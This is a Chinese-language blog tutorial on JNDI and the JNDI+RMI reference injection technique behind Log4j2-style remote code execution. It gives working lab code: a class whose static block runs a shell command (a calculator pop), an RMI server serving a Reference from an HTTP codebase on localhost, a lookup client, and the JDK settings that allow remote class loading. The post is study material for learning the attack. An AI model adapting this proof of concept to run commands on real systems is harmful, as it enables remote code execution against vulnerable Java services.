前言

前段时间跟着P牛学了rmi,最近又出了个Log4j2核弹漏洞,就想着要把jndi学了,毕竟类似fastjson、shiro的漏洞都会用到。

jndi

简介

JNDI(Java Naming and Directory Interface)

是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

img

Naming Server

命名服务将名称和对象联系起来,使得我们可以用名称访问对象,命名系统中的对象可以是DNS记录中的名称、应用服务器中的EJB组件、LDAP(Lightweight Directory Access Protocol)中的用户Profile.

我们前面介绍rmi的时候,使用过Naming.bind(),这其实就是将名称和对象绑定起来

Directory Server

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

jndi如何使用

这里我们先介绍几个基础知识,主要参考了nice_0e3师傅的总结

InitialContext

该类继承了Context 类,是jndi命名服务的入口点,其中包括了很多命名服务的方法

1
2
3
4
5
6
7
8
9
10
bind(Name name, Object obj) 
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。

使用

1
InitialContext initContext = new InitialContext();

References 引用

这个类代表了对一个在命名/目录系统之外的对象的引用。

我们前面提到的rmi是在服务端执行的,那我们攻击针对的目标肯定是客户端,这时候我们就需要通过References来操作,那么该类就可以通过字节码的方式被客户端实例化

构造方法的介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Reference(String className) 
className - 这个引用所指向的对象的非空的类名。

Reference(String className, RefAddr addr)
className - 这个引用所指向的对象的非空的类名。
addr - 对象的非空的地址。

Reference(String className, RefAddr addr, String factory, String factoryLocation)
className - 该引用所指向的对象的非空类名。
factory - 对象的工厂的类名,可能为空。
factoryLocation - 加载工厂的位置,可能为空(例如URL)。

Reference(String className, String factory, String factoryLocation)
className - 这个引用所指向的对象的非空的类名。
addr - 对象的非空值地址。
factory - 对象的工厂的类名,可能为空。
factoryLocation - 加载工厂的位置,可能为空(例如URL)。

这里我们攻击时常用的构造方法为

1
Reference ref = new Reference("JndiExp1","JndiExp2","http://127.0.0.1/");

我们对应的参数为

  • JndiExp1 — 本地实例名,我们通过Reference本地实例化后的实例名
  • JndiExp2 — 类的名字,也就是我们服务端类名
  • http://127.0.0.1/ — 服务端位置

其他方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(int posn, RefAddr addr)	
将地址添加到索引posn的地址列表中。
add(RefAddr addr)
将地址添加到地址列表的末尾。
clear()
删除此引用中的所有地址。
clone()
使用其类名称地址列表,类工厂名称和类工厂位置制作此引用的副本。
get(int posn)
检索索引posn处的地址。
get(String addrType)
检索地址类型为“addrType”的第一个地址。
getAll()
检索此引用中的地址枚举。
getClassName()
检索此引用引用的对象的类名。
getFactoryClassLocation()
检索此引用所引用的对象的工厂位置。
getFactoryClassName()
检索此引用引用的对象的工厂的类名称。
remove(int posn)
从地址列表中删除索引posn处的地址。

Jndi + rmi

首先我们先写一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.Runtime;

public class JndiExp{
static{
try {
Process runtime = Runtime.getRuntime().exec("open -a Calculator");
InputStream in = runtime.getInputStream();
BufferedReader bufferReader = new BufferedReader(new InputStreamReader(in));
String read = null;
while ((read = bufferReader.readLine()) != null){
System.out.println(read);
}
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args){
System.out.println("exp is already");
}
}

将该类打包成class文件,并启动一个http服务

image-20211213131130878

接着我们来写Rmi服务端,前面我们介绍过rmi,我们要先写一个servet注册服务,并将类注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
public static void main(String[] args) throws RemoteException , NamingException , AlreadyBoundException {
String url = "http://127.0.0.1:8088/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("Jndiexp","JndiExp",url); //第一个参数任意,第二个参数对应我们的远程class名
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("obj",referenceWrapper);
System.out.println("Rmi-Reference is already");
}
}

这里我们使用Reference来达到本地执行命令的目的,但是我们注意到,我们又使用ReferenceWrapper将Reference封装了一下,前面我们说到rmi注册的服务类必须继承Remote和UnicastRemoteObject,而Reference并没有实现这两个接口,只能通过ReferenceWrapper去实现

image-20211213131607180

接着我们写客户端,也就是利用InitialContext去实现jndi

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RmiClient {
public static void main(String[] args) throws NamingException {
InitialContext initContext = new InitialContext();
initContext.lookup("rmi://127.0.0.1:1099/obj");
System.out.println("Rmi-Rerference client already");
}
}

image-20211213131733475

成功弹出计算器,并且我们的http服务端也接收到了请求

image-20211213131802382

Jndi+rmi的方法只能适合于低版本jdk,借张图让大家更清晰的看到,如需使用需要设置两个参数

1
2
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

img

参考链接